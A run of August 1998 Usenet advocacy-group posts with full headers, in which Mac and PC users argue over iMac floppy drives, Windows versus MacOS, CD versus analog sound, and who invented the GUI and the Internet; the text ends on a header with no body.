References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <kindall-1708980438260001@nic-c41-094.mw.mediaone.net> <not-1708981054290001@ip-26-040.phx.primenet.com> <rbarris-ya023280001708981330570001@206.82.216.1> <000035D8F0BA.NO_UCE@mauve.demon.co.uk>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Tue, 18 Aug 1998 13:26:12 -0700
NNTP-Posting-Date: Tue, 18 Aug 1998 13:23:52 PDT
In article <000035D8F0BA.NO_UCE@mauve.demon.co.uk>, Ian Stirling
<000035D8F0BA.NO_UCE@mauve.demon.co.uk> wrote:
> In comp.sys.intel Rob Barris <rbarris@quicksilver.com> wrote:
> : CD's start from the region closest to the hole.
>
> : That way you can have tiny CD's that play in the big player. The big
> : player doesn't know that the CD is any different physically since it finds
> : the TOC in the same place. (Coca Cola used to be giving out these little
> : 2-inch CD's with their packaging, some kind of music promotion)
>
> That sounds rather small, you'd only get about .3" or so of data, maybe
> a track.
> I believe the only conventional smaller size is 8cm.
Yeah, it was just one song as I recall.
Message-ID: <35D9F38E.6407@ieighty.net>
Date: Tue, 18 Aug 1998 15:35:10 -0600
From: Legacy 'Xunker' <legacy@ieighty.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5>
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Christoph Burchard wrote:
>
> > Apple invented SCSI, ethernet and the GUI ? I guess Microsoft invented
> > pre-emptive multitasking, context menus and the internet then :).
Point of order, though. Win9x doesn't do Premptive MTing, either.. they
fake it real well.
> I don't think that Apple invented SCSI, ethernet and the GUI
> Xerox invented the GUI, and Apple bought the rights.
Nope, they didn't even buy it. Because the Patent board maintaines that
'one cannot copywright or patent a theoretical concept'. They just
borrowed it from them, and M$ borrowed if from Apple.
> And that's really for sure:
> Microsoft did NOT invent the internet.
What??!?! You be Bill has been LYING to us? Whould he DO THAT?
> The internet was initially developed for military purposes and the
> universities...
Military first. it was designed in '64 to serve as a 'fragmentable
digital communications infrastucture for electronic technology'. To
keep the militiaries' mainframes talking in case of a nuclear exchange.
Originaly Called ARPAnet, then MILnet for a breif time, then the
infrastructure was sold to the NSF, and the name was changed to NSFnet,
and then it was privatised, and the main portions were bought by PsiNet,
UUNet, Sprint (squint) and a few others.
--
-LX "...Hello Rebel..."
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 16:45:08 -0500
Organization: none
Message-ID: <tim-1808981645090001@jump-tnt-0044.customer.jump.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>
In article <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
| I've run the experiment. You can too. Its easy.
It's also invalid, as described.
| Get a CD player (hopefully
| a good one) and a decent outboard D/A converter. Pick a CD you know
| reasonably well and get a bunch of interconnects. Get some cheap RCA
| to RCA, some expensive ones (like Monster sells) and some "digital"
| cables from Cardas and Vampyre, as well as a TOSLINK cable, and if
| the CD player and the D/A can accommodate it, an AT&T glass fiber
| optical cable. Now change them out while listening. Guess what? They
| ALL sound slightly different.
Your test wasn't double-blind.
--
-- Tim Olson
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 16:44:03 -0500
Organization: none
Message-ID: <tim-1808981644030001@jump-tnt-0044.customer.jump.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net>
In article <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
| That's what YOU think! I have been fooling with this stuff
| long enough to know better and I have an Electrical Engineering
| degree which tells me that I should know better. In these cases
| I have to put my engineering background on hold and trust my
| ears.
If you throw science and engineering away based upon what you *think* you
hear (without any scientific method to back it up) you shouldn't consider
yourself an engineer or scientist.
--
-- Tim Olson
Date: Tue, 18 Aug 1998 13:01:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1808981301040001@wil38.dol.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35e38142.25822380@news.calweb.com>
In article <35e38142.25822380@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Sun, 16 Aug 1998 08:05:28 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >
> >Right. Like not paying for floppy drives if you don't need them.
>
> ???
>
> I've NEVER had a computer that I didn't make enough use of the floppy
> that I would not have been irritated if it hadn't had one.
Then don't buy an iMac.
But lots of people don't use a floppy drive and the iMac gives them that choice.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 18 Aug 1998 14:30:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1808981430130001@wil50.dol.net>
References: <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <35d9766a.23046729@news.calweb.com> <gmgraves-1808981100590001@sf-usr1-26-154.dialup.slip.net>
In article <gmgraves-1808981100590001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <35d9766a.23046729@news.calweb.com>,
> hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
>
> > On the other hand, if the Mac is so great for people who don't know
> > anything about computers, tell me why both my parents have unstable
> > Macs after all the software and other junk they've added? Answer:
> > Because you DO have to know something about computers to keep Macs
> > running well also. You can use a Mac and not know anything about
> > computers, but that doesn't mean its going to run optimally.
>
> Nobody ever said that Macs don't require knowledge. In fact, to know
> Macs well is just as involved of a learning procedure as is knowing
> PCs well. Its just that Macs generally have simpler problems which
> GENERALLY respond to some fairly basic troubleshooting techniques.
> That's why its not at all unusual for large Mac sites to have only one
> or two IS people as opposed to dozens for sites with similar numbers
> of PCs. Its just a fact, PCs break more often than Macs, they break
> more catastrophically, and they are harder to troubleshoot. All of the
> computer studies ever made show conclusively that Macs have a
> lower cost of ownership. Even Intel says that their Macs costs them
> less than 2/3 of what their on-site PCs cost to administer on a
> computer by computer basis.
Microsoft says the same thing.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 18 Aug 1998 14:29:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1808981429210001@wil50.dol.net>
References: <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net> <35db7947.23779152@news.calweb.com>
In article <35db7947.23779152@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Fri, 14 Aug 1998 19:27:47 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >
> >Windows, OTOH, is only good enough if you've never used an OS with a good UI.
> >
>
> In YOUR opinion. Other people have different opinions. Some of us
> even state that our opinions are just that, instead of passing them
> off as FACTS.
Of course, my opinion is backed by years of research by numerous
independet labs.
Do you have any evidence at all to disprove it?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "DarkMerlin(JB)" <amazon@net-link.net>
Newsgroups: comp.sys.next.advocacy
Subject: only way to replace the floppy
Date: Tue, 18 Aug 1998 19:13:07 -0500
Organization: Angelics=?ISO-8859-1?B?gQ==?=
Message-ID: <6rcjmn$6ff$1@leol.net-link.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Would be for a company to develop the media(Superdrive, zip, whatever) and
then let others compete for drives. Also, the drives would have to be
included in most new computers. What do you think?
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 06:27:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rb6tb$3j7$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com> <joe.ragosta-1608980712020001@elk78.dol.net> <6r7eli$844$1@nnrp1.dejanews.com> <gmgraves-1708980947020001@sf-usr1-49-177.dialup.slip.net>
In article <gmgraves-1708980947020001@sf-usr1-49-177.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> If it makes you feel more secure, you just keep on believing that.
What "it" are you referring too? I am not particularly concerned with the
elimination of crappy vendors from the PC market as I only buy from reputable
vendors and have never had any problems.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Emiel Kollof <emiel@avd.nl>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 17:31:41 +0200
Organization: AVD Internet services
Sender: weweler@195.114.227.15
Message-ID: <6rc6lt$g90$1@news2.xs4all.nl>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Tony Wong wrote:
> Sorry, if you want the URL, for Monday the 17th, "Intel works to cool down
> Xeon," by Michael Kanellos,
>
> http://www.news.com/News/Item/0,4,25304,00.html?owv
*big grin*
Hehehe sounds almost like Microsoft's tactics...
Delay... delay... delay... delay... :-)
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 13:38:10 GMT
Message-ID: <35e4820f.26027595@news.calweb.com>
References: <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <asiufy-1508980108240001@200.229.243.200>
MIME-Version: 1.0
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Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Sat, 15 Aug 1998 01:07:54 -0300, asiufy@uol.com.br (Alexandre A.
S.) wrote:
>
> I remember reading
>about how DirectX was a collection of _HACKS_, and how gfx card companies
>(Diamond, etc) had like 1 or 2 guys in charge of coding the drivers...
>What's the use? You got a shit fast processor, a screaming video chip, but
>lousy and buggy drivers running over a lousy and buggy OS!
I read that Aliens abducted Elvis. I'll show you the article, then you
can start preaching that gospel.
> I'd rather run the admitedly arcane MacOS, so I won't have to
>actually learn how the stupid hardware works in order to actually get it
>to function properly. I just plug it in and it works, if it doesn't work,
>it's back to the store for a refund.
>
>
Good for you. Macs are made for people like you that are afraid of
their computers. And I admit, they are nice that way. On the other
hand, once I did learn something about computers, I felt strangled
with the Mac. I won't go back. Apple makes a very polished product,
much more so than any PC maker. But they make their OS's for
ignoramuses, and I don't like to be treated like one. They also
charge a bundle to produce that polished product. Sure, they aren't
as expensive anymore, but they still think that 32 megs of ram and a 4
to 6 gig hard drive are worth getting excited about. Give me a break.
The cost of Mac peripherals is also a killer. Everything costs more
for the Mac. It irritates all the Mac owners I know, because they
love their Macs but they get tired of paying a lot more for the same
stuff.
>
> Well, slower development _IS_ a problem. I just hope someday
>Apple allow cloning again. I know it didn't do much good the first time,
>but now with Steve Jobs and co. in charge, I believe they can make things
>right this time.
>
Interesting thing, Steve Jobs being back in charge. First thing they
do is produce an iMac (can you say 1984 with a different cover) which
goes to even MORE of an extreme of telling you what you need, and what
you don't. "Floppy? NOOOOOOOOO one uses THOOOOSE anymore." Sure,
Steve. Whatever.
>
> Well, ain't that funny :) There's something seriously wrong with
>the computer industry, and it's not only PCs. If more people just refused
>to buy non-working devices, or stuff that made them "learn how the
>hardware work" just to get basic functionality, I'm sure things would be
>much better by now. I've read a thousand times of people buying games
>lacking features advertised on the box. Or hardware with non-working
>drivers. The customers allowed companies to make a fool out of us, making
>people waste their time looking around web sites for drivers and stuff
>like that, just to get the hardware to function properly, the way it was
>supposed to work out of the box!
If people made more informed buying decisions, they wouldn't have
those problems. I've never had any of those things happen to me when
buying parts or peripherals for my computer. I'm sure I'd know more
about computers if I ever did have to fight to get stuff to work
correctly.
Scott
.................................................
Please edit the email address to reply
From: ajg@yuno.com (Anna J. Gershwin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 18 Aug 1998 16:11:12 GMT
Organization: netINS, Inc.
Message-ID: <6rc930$fai$1@ins8.netins.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl>
Mime-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
In article <6rc6lt$g90$1@news2.xs4all.nl>, emiel@avd.nl says...
>
>Tony Wong wrote:
>
>> Sorry, if you want the URL, for Monday the 17th, "Intel works to cool down
>> Xeon," by Michael Kanellos,
>>
>> http://www.news.com/News/Item/0,4,25304,00.html?owv
>
>*big grin*
>
>Hehehe sounds almost like Microsoft's tactics...
>
>Delay... delay... delay... delay... :-)
Unlike Copland...Rhapsody...OSX... :-(
Comes from announcing products 2 years in advance of when they are going to
ship and expecting absolutely no problems in producing them.
At least the Mac is a superior product, even when it came out the Mac had
better graphics than the IBM (CGA adapters were limited to only 640x480
in monochrome mode, the Mac was better). Better software, and hardware. Didn't
Apple invent SCSI, ethernet and the GUI? Now they have invented FireWire, the
successor to SCSI and include that along with 100MB Ethernet on all the new
Macs. It is too bad they have to play the game and announce products before
they exist to compete in the marketplace but at least Apple's products are
worth waiting for and are always superior to anything on the market, years
ahead of anyone else - so when they finally ship, they are still ahead of
everyone else.
Anna
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 02:23:58 +1000
Organization: University of Queensland
Message-ID: <6rc9nl$bpb$1@bunyip.cc.uq.edu.au>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net>
Anna J. Gershwin <ajg@yuno.com> wrote in message
6rc930$fai$1@ins8.netins.net...
>In article <6rc6lt$g90$1@news2.xs4all.nl>, emiel@avd.nl says...
>>
>>Tony Wong wrote:
>>Hehehe sounds almost like Microsoft's tactics...
>>
>>Delay... delay... delay... delay... :-)
>
>Unlike Copland...Rhapsody...OSX... :-(
>
>Comes from announcing products 2 years in advance of when they are going to
>ship and expecting absolutely no problems in producing them.
>
>At least the Mac is a superior product, even when it came out the Mac had
>better graphics than the IBM (CGA adapters were limited to only 640x480
>in monochrome mode, the Mac was better). Better software, and hardware.
Didn't
>Apple invent SCSI, ethernet and the GUI? Now they have invented FireWire,
the
>successor to SCSI and include that along with 100MB Ethernet on all the new
>Macs. It is too bad they have to play the game and announce products before
>they exist to compete in the marketplace but at least Apple's products are
>worth waiting for and are always superior to anything on the market, years
>ahead of anyone else - so when they finally ship, they are still ahead of
>everyone else.
Apple invented SCSI, ethernet and the GUI ? I guess Microsoft invented
pre-emptive multitasking, context menus and the internet then :).
>
>Anna
>
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 12:48:27 GMT
Message-ID: <35d9766a.23046729@news.calweb.com>
References: <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209>
MIME-Version: 1.0
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Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Thu, 13 Aug 1998 11:49:58 -0300, asiufy@uol.com.br (Alexandre A.
S.) wrote:
>
> No, you idiot. You can't compare Windoze to MacOS. You install
>Windoze, and it has at least a million different variations of a possible
>PC configuration (sound card, video card, etc etc), while Macs have just a
>handful of alternatives, which makes it easy for system installers to
>"foresee" all those possibilities, and install everything needed for that
>specific system.
> Now, the question is: do you want to live on the world of PCs,
>where countless crappy video cards exist, driving Windows nuts with buggy
>drivers, or do you want simple, efficient cards that can be used
>flawlessly with Macs? I need choice, but I don't need 100s of cards to
>choose from. Sometimes too much competition can make things screwy, hence
>the current situation of the PC market, where vendors struggle to put
>hardware out the door, and neglect development of their drivers.
Who's the idiot here? Someone that's so afraid of their computer that
they only want 3 or 4 options, or the person that has lots of choices
and isn't afraid to exercise them?
Answer to your question:
I use to use Macs. Now I don't. My AGP video card works great.
Performs great. It doesn't seem to be "driving Windows nuts" at all.
So the answer is, yes, I do want to live in the world of PC's. I
don't want to use anything flawlessly with any Mac, because my PC runs
great. I've built my last three computers. I've installed my OS's,
including win95, linux, win98, NT Server, etc, ad nauseum. Big whoop
de do. It's not that tough. Too bad you guys are afraid of trying it
for yourselves. I know, I know... to many configuration options.
It's okay... don't wet yourself.
On the other hand, if the Mac is so great for people who don't know
anything about computers, tell me why both my parents have unstable
Macs after all the software and other junk they've added? Answer:
Because you DO have to know something about computers to keep Macs
running well also. You can use a Mac and not know anything about
computers, but that doesn't mean its going to run optimally.
When you learn to state your viewpoint while refraining from name
calling, then maybe I'll take what you have to say seriously. Your
assumption that I have never used a Mac and don't know anything about
Macs is incorrect. Thanks for playing though.
Scott
.................................................
Please edit the email address to reply
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 10:47:13 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1808981047140001@sf-usr1-26-154.dialup.slip.net>
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net> <6ra4gf$b4p$1@news.spacelab.net>
In article <6ra4gf$b4p$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> gmgraves@slip.net (George Graves) wrote:
> [ ... ]
> >Don't be ridiculous. OF course they sound better in you living room on
> >your vandersteens than they do on a pair of computer speakers. But
> >they also sound better on a $500 rack system than they do on a
> >$40,000 stereo. LPs, on the other hand, sound better on a $40,000
> >stereo system than they do ona $500 rack system. I should know, I have
> >a $40,000 stereo system.
>
> You're welcome to your opinion that LP's sound better.
>
> The vast majority of people do prefer some euphonic distortion rather than a
> completely accurate reproduction, which is why LP's and tubes remain popular
> with audiophiles who quest after that certain sound.
>
> >> 16 bit, 44.1 KHz is adequate to reproduce an extremely wide dynamic range
> >> and and the entire range of human hearing (in fact, far beyond most
> >> adults' capabilities). Vinyl has a dynamic range of about 50 db, is
> >> extremely susceptible to noise, and is degraded by repeated playbacks.
> >> Also, it's very bulky and has a very limited playing time. No contest --
> >> the CD wins.
> >
> >I already conceded that CDs have wider dynamic range than do records.
> >but jesus, they sound like cartoons compared to good analog. No depth,
> >no real imaging, poor ambience, steely, unnnatural top end. You can have
> >the garbage (but I have to put up with them too. Homo the Sap has decided
> >that CDs like PC/Windows is "good enough". Once again leaving those who
> >demand excellence out in the cold).
>
> It's possible to add some mild even-order distortion via a resonant filter
> and some similar goodies in order to make a CD sound very much like the
> euphonic distortion of LP.
You are not getting it. I'm not talking about "euphonic colorations" here. I'm
talking about the things that CDs do NOT reproduce very well or at all. As
a recording engineer who has probably recorded more symphony orchestras
than most people on this forum have ever HEARD, I KNOW the damage that
CDs do to the music. An example. I recorded the premier of the Ruffato
organ at Davies Symphony hall in San Francisco with Edo De Warrt and the
SF Symphony a number of years back. I recorded the concert on an Otari
MX-5050 analog two track tape deck running Sony FeCr tape at 15 ips. The
tape sounded glorious. Well, the Symphony Foundation wanted a limited
edition CD made of the concert to give to the city officials, the foundation
members, orchestra plyers, etc. I took the tape over to Wally Heider
studios and had the tape transferred to 44.1 KHz DAT (my own DAT machine
at the time was a Luxman consumer unit which would not record at 44.1
but would play them). I took the DAT home that night and compared it to
the master analog tape. I was shocked! In spite of Heider's very high end
pro DAT recorder with its custom Burr-Brown D/A converters, and despite
my very expensive Wadia digital converter box connected to my Luxman
player, the DAT sounded flat, lifeless, with no depth. The marvelous imaging
afforded by my crossed stereo pair of Sony C-500 microphones was simply
NOT THERE. the image was vague, there was no sense of soundstage. No
front to back layering of instruments. Low level solo violin had lost its
sheen of ambience the hall sounded as if it had been stripped away leaving
the ensemble to play in the echoless open air. Knowing that this was about
the best digital conversion of this tape that I was going to get, I sent the
DAT to JVC's custom products CD mastering facility in Los Angeles the
next day. Two weeks later, I received a test CD of the concert. If I thought
the DAT was bad, the CD floored me. Remember, after the master tape was
converted to digital DAT, the recording STAYED in the digital domain when
being processed onto a CD. Every characteristic that I had noted in the DAT
was WORSE in the CD. So don't tell me that the "superiority of analog" can
be dismissed as "euphonic colorations", buddy, because I have the master
tapes with which to compare this digital crap! I have had many similar
experiences and in many cases have masters made simultaneously on both
analog reel-to-reel and DAT. In every case the analog master is superior.
George Graves
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 10:53:25 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rcfke$5au$1@plo.sierra.com>
